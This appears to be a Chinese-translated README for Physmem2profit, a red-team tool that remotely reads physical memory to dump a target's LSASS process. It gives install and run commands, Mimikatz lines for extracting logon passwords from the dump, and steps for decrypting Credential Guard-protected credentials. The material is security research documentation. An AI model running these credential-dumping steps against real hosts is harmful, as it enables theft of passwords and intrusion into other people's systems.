
Physmem2profit can be used to create a minidump of a target hosts' LSASS process by analysing physical memory remotely
Physmem2profit 可用于通过远程分析物理内存来创建目标主机 LSASS 进程的 minidump。本研究的目的是提出一种凭证窃取的替代方法,并创建一个模块化框架,以便扩展支持其他可以访问物理内存的驱动程序。Physmem2profit 会生成 LSASS 的 minidump(.dmp),可进一步使用 Mimikatz 进行分析。该工具不要求使用 Cobalt Strike,但应能通过带有 SOCKS 代理的 beacon 正常工作。
思路如下图所示:

该工具包含两个组件:
physmem2profit.exe,在目标主机上执行
physmem2profit Python 模块,在攻击机器上执行
git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.gitphysmem2profit/server/Physmem2profit.slnbash physmem2profit/client/install.shphysmem2profit.exe [--ip IP] [-p PORT] [--hidden] [--verbose]。
source physmem2profit/client/.env/bin/activate。此命令将激活由 install.sh 创建的虚拟环境。cd physmem2profit/client 和 python3 physmem2profit --host HOST [--port PORT] [--mode MODE] [--driver DRIVER ] [--instal DRIVER_PATH_ON_TARGET] [--label LABEL_FOR_MEMORY_DUMP]
physmem2profit.exe。output/[label]-[date]-lsass.dmp。mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"解密受 Credential Guard 保护的凭据需要访问存储在安全世界(Secure World)中的加密密钥。出于测试目的,Physmem2profit 支持从 VMware Fusion/Workstation 快照(.vmem 文件)中检索安全世界的数据。这样,受 Credential Guard 保护的凭据就可以借助 Mimikatz 进行解密。
msinfo32 以确保 Virtualization-based security Services Running 显示为 Credential Guardpython3 physmem2profit --mode dump --vmem /tmp/Win10-Snapshot1.vmem --label credential-guard-test
output/[label]-[date]-lsass.dmp。该 minidump 包含一个特殊流,其中保存了来自安全世界的数据,使 Mimikatz 能够定位加密密钥。output/[label]-[date]-secure-world.raw。mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"通过利用 S3 恢复固件漏洞绕过 Credential Guard 的支持,已在我们 Disobey 演讲 中演示,即将推出 :)。
重新思考凭证窃取 | 一篇解释为何选择这种凭证窃取方法的博客文章。
Physmem2profit 由 @b3arr0 和 @TimoHirvonen 开发。
感谢以下人员的贡献: